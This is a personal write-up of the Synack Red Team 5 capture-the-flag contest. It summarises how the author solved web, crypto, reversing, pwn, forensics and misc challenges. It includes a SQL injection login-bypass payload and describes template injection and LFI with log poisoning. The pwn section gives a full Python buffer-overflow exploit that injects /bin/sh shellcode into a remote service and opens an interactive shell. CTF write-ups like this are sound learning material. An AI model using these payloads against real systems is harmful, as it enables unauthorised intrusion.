Synack Red Team 5 CTF was (iirc) my third CTF, and the first in which I actually managed to score some decent points. It’s a jeopardy-styled CTF featuring 6 categories (web, pwn, crypto, forensics, misc, and reversing). I managed to solve 16 out of the 25 total challenges, solving at least one challenge in each category. My strongest category was web, in which I solved 5 out of 6 challenges. I eventually finished 46th
out of 333
participants, which was narrowly within my target of top 50, and for that I am happy :)
Web
SimPlay
This was a web challenge with downloadable source code. Going through the source files, the file TimeModel.php
was found to be making a call to eval()
using user-controlled data that was passed to it by TimeController.php
I exploited this to identify, and read the flag;
PotentQuotes
This challenge featured a login form asking for username and password. The username field was vulnerable to SQL Injection, and authentication was bypassed using the payload admin' or 1=1-- -
.
BoneChewerCone
The website in this challenge was vulnerable to Server Side Template Injection (SSTI). The flag was found in the output of config.items()
IMF - Landing
This was a fun web challenge that features Local File Inclusion (LFI) vulnerability in the website served by Nginx. It was a PHP site, and I was able to gain code execution by chaining the LFI with log poisoning to execute PHP payloads;
IMF - The Search
The website in this challenge had a feature that allowed users to search for “agents”. It was NodeJS application, and it’s vulnerable to Server Side Template Injection (SSTI) using the pug engine;
Using some node tutorials to execute shell commands, I was able to craft a payload to execute a shell command on the host, but I could not get it to return any output. Attempts to redirect output to local files so I can read it using GET requests were unsuccessful as the server appeared to be only allowing requests to paths with existing mappings.
I was eventually able to read output by overwriting the site’s logo, and then viewing it using curl
;
Crypto
Weak RSA
This is a downloadable challenge that provide a public key, and an encrypted message. Using the program https://github.com/Ganapati/RsaCtfTool, and openssl
, I was able to decrypt the message after recovering the private key;
Reversing
Access
This was a simple reversing challenge that I solved by patching the binary using cutter
, forcing it to continuously execute the block of code that compares user input to the hidden key, which I extracted one character at a time;
Check
This challenge provides a binary that compares user input to a value. I was able to solve this by setting a breakpoint where the comparison was carried out, and dumping the data at the memory location using radare2
;
Split
The binary in this challenge tests user input against an encrypted string. The encrypted string is decrypted just before the comparison was made, and I was able to dump it by setting a breakpoint at the location;
Pwn
Injection
This challenge provides a downloadable binary and a TCP service through which the program can be accessed using tools like netcat
. The downloaded binary gives an address during interaction with user, which was found to be the address of a buffer used to store user input without checking size, leading to buffer overflow;
So I crafted an exploit in python that inject shellcode in the input buffer, and used the given address to overwrite the instruction pointer;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python3
from time import sleep
import socket
from binascii import unhexlify
shellcode = open("dash.bin", "rb").read() # A 64-bit /bin/sh shellcode
padding = ("A" * 18).encode()
conn = socket.socket()
conn.connect(('46.101.21.240', 31877))
print(conn.recv(1024))
conn.send("1\n".encode()) # Select the first option
# Extract the memory address
data = str(conn.recv(1024))
addr = data.split("[")[1].split("]")[0]
addr = addr[2:]
print(addr)
rip = unhexlify(addr)[::-1]
print("%r" %(rip))
# The final payload
payload = shellcode + padding + rip
conn.send(payload)
# Interactive shell for user commands.
sleep(1)
print(conn.recv(9999))
while True:
command = input("Input > ")
if command:
command += "\n"
conn.send(command.encode())
print(conn.recv(1024))
The above code gave me an interactive command shell on the box;
Forensics
Sneaky
This was a very easy forensics challenge on a .pcap
file. Going through the file in wireshark
showed a POST request containing the flag;
Top Secret
This challenge featured packet analysis on a .pcap
file captured during an FTP transfer of a PDF file. The PDF was extracted using wureshark
, and it’s MD5 hash was the flag;
Endurance Run
This challenge provides a windows registry file NTUSER.DAT
obtained from a hacked computer. Using hivexsh
, I was able to locate the flag in the registry, which wasn’t easy because hivexsh
has no search feature or even tab auto-complete. I had to used hivexml
to convert the whole registry file to an XML, which I then opened on a browser and used the “find” function to locate possible flags. I then used windows cmd
prompt running on wine to decode the flag;
Phishin Impossible
This challenge provides .pdf
file that was found to contain an embedded file named secret_info.SettingContent-ms
. The file was extracted, and found to contain the flag, which had to be joined from fragments in the powershell command;
Misc
Blobber
This challenge provides an obfuscated JavaScript file message.js
, that uses String.fromCharCode()
to load another JavaScript code. The other JavaScript code has a variable named file
that was set to a base64-encoded string. Decoding the string, I got a PDF file that contained the flag;
ConText
This challenge provides an obfuscated JavaScript file. It uses a lookup table to decode strings used to reference other things, which I was able to decode using the JS console in Firefox. The JavaScript has a function named flag()
that takes a signle string argument, which must be the ID of a 2D canvas in the current page. It uses the canvas to draw an image, which contains the flag for the challenge;
So I setup a basic HTML page that loads the script and create a canvas, the ID of which I used to call flag()
in the JS console;